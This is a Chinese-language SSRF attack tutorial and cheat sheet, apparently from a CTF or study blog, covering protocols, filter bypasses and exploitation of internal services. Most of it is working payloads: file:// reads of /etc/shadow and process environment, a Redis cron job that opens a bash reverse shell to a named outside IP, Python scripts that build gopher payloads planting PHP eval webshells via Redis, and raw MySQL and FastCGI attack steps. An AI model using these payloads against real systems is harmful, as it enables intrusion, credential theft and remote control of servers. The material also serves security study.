SSRF

概念

SSRF(Server-Side Request Forgery),即服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,本质上是属于信息泄露漏洞。

漏洞原理

服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等,而且在大部分的web服务器架构中,web服务器自身是可以访问互联网和服务器所在的内网的,所以攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

常见漏洞函数

file_get_contents()

curl_exec()

fsockopen()

fopen()

协议

http(s)://

基础

1
2
http://target.com/fetch?url=http://internal-service/admin
https://target.com/fetch?url=https://internal-service/config

升级

1.HTTP重定向

1
2
3
# 设置一个重定向到内部服务的外部服务
http://target.com/fetch?url=http://attacker.com/redirect
# attacker.com返回302重定向到http://internal-service/

2.HTTP请求走私 在某些情况下,可以在HTTP请求中嵌入额外的HTTP请求

1
2
http://target.com/fetch?url=http://external-service/
X-Forwarded-For: internal-service

3.HTTP认证

1
http://target.com/fetch?url=http://user:password@internal-service/

file://

访问服务器本地文件系统

1.路径遍历

1
http://target.com/fetch?url=file:///var/www/html/../../../etc/shadow

2.特殊文件

1
2
http://target.com/fetch?url=file:///proc/self/environ
http://target.com/fetch?url=file:///proc/self/cmdline

3.列目录

某些情况下可用

1
http://target.com/fetch?url=file:///var/www/html/

dict://

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。

1.Redis命令执行:利用dict协议与Redis服务交互

2.Memcached数据提取:访问Memcached服务获取缓存数据。

gopher://

很强大的协议,在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache

ftp://

用于与FTP服务器交互

1
http://target.com/fetch?url=ftp://user:pass@192.168.1.10/

Bypass

利用[::]

1
http://[::]:80/  >>>  http://127.0.0.1

利用@

1
http://example.com@127.0.0.1

利用短地址

1
http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用302跳转

自己服务器上vim一个index.php

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

然后payload访问自己这个地址就可以了。

利用DNS重绑定

1
DNS 重绑定是一种特定的技术,通常用于绕过 同源策略(Same-Origin Policy)。攻击者会通过操控 DNS 解析过程,伪装自己的域名,使其解析到受害者的内网 IP(例如 127.0.0.1 或 192.168.x.x)或云服务地址。这样,攻击者便能利用此技术攻击目标网络,执行多种漏洞利用方式

参考文章通过 DNS 重绑定的 SSRF 攻击内部云服务_dns rebinding-CSDN博客

https://lock.cmpxchg8b.com/rebinder.html

利用进制转换

八进制

在访问的时候加0表示使用八进制

1
http://0177.0000.0000.0001

十进制

1
http://2130706433

十六进制

访问加0x

1
http://0x7f000001

利用特殊地址

1
2
3
4
http://0/
http://0.0.0.0
http://127.0000000000000.001/flag.php
http://127.1/flag.php

利用句号绕过

1
http://127。0。0。1/flag.php

利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

绕过特定结尾开头

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

1
url=http://ctf.@127.0.0.1/flag.php#show

漏洞利用

读取本地文件

file或者load_file

file://etc/passwd这种 SSRF绕过技巧文章:https://sauy.top/2025/08/04/SSRF%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93/

探测内网端口

1
2
dict://127.0.0.1:22
dict://127.0.0.1:6379/info

Redis

Redis一般都是绑定在6379端口.如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis

未授权

1.定时任务来反弹shell

burp里操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/47.109.207.123/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

2.gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse

protocol = "gopher://"
ip = "172.72.23.27"
port = "6779"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))

弱认证

1
url=dict://172.72.23.28:6379/auth P@ssw0rd

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib.parse

protocol = "gopher://"
ip = "172.72.23.28"
port = "6379"
shell = "\n<?php eval($_GET[1]);?>\n"
filename = "2333.php"
path = "/var/www/html"
passwd = "P@ssw0rd"

# Redis 命令链(每个命令是一个列表,不要拼成字符串)
cmd = [
["flushall"],
["set", "x", shell],
["config", "set", "dir", path],
["config", "set", "dbfilename", filename],
["save"],
["quit"]
]

# 如果需要密码验证
if passwd:
cmd.insert(0, ["AUTH", passwd])


def redis_format(arr):
CRLF = "\r\n"
cmd = "*" + str(len(arr)) + CRLF
for arg in arr:
cmd += "$" + str(len(arg)) + CRLF + arg + CRLF
return cmd


if __name__ == "__main__":
payload = protocol + ip + ":" + port + "/_"
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

然后

1
url=http://172.72.23.28/2333.php?1=system('ls');

执行命令即可

MYSQL查询数据

1
MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包
1
2
3
4
5
6
7
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "gopher://172.72.23.29:3306/_%"+"%".join(a)

if __name__=="__main__":
s = "a100000185a23f0000000001080000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640064035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f706964033530380f5f636c69656e745f76657273696f6e06352e362e3531095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420313d0000000373656c656374202a2066726f6d20666c61672e7465737420756e696f6e2073656c656374207573657228292c277777772e73716c7365632e636f6d270100000001"
print(results(s))
1
gopher://172.72.23.29:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%35%30%38%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%2e%74%65%73%74%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%75%73%65%72%28%29%2c%27%77%77%77%2e%73%71%6c%73%65%63%2e%63%6f%6d%27%01%00%00%00%01

UDF提权

1
SSRF攻击MySQL仅仅查询数据意义不大,不如直接UDF提权然后反弹shell出来更加直接
1
UDF (User Defined Function) 是 MySQL 的一个扩展机制,可以让数据库加载外部动态链接库(Linux 下是 .so,Windows 下是 .dll),注册成函数,然后就能在 SQL 语句里调用。

首先你要先知道mysql的插件目录

1
gopher://172.72.23.29:3306/_%a2%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%65%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%33%35%35%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%0a%27%25%70%6c%75%67%69%6e%25%27%01%00%00%00%01

image-20250827171151947

可知插件目录为 /usr/lib/mysql/plugin

这里还可以使用一个工具 https://github.com/tarunkant/Gopherus python2环境

image-20250827181559783

fpm(FastCGI协议)

详细原理文章Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌

可以使用上述的工具

具体操作:

1
gopherus --exploit fastcgi

image-20250827183011056

即可打通